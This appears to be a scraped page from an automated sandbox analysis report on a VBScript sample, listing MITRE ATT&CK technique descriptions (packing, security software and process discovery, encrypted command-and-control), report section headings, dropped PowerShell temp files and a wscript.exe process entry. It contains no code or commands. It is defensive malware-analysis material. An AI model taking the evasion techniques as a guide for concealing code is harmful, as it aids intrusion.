Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report FJw9llPHsk.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eeuyqkc4.bcf.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tatqkyd4.hi5.ps1

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

UDP Packets

DNS Queries

DNS Answers

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

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Behavior

System Behavior

Analysis Process: wscript.exePID: 7420, Parent PID: 2580

General

Chronological Activities

Windows Analysis Report
FJw9llPHsk.vbs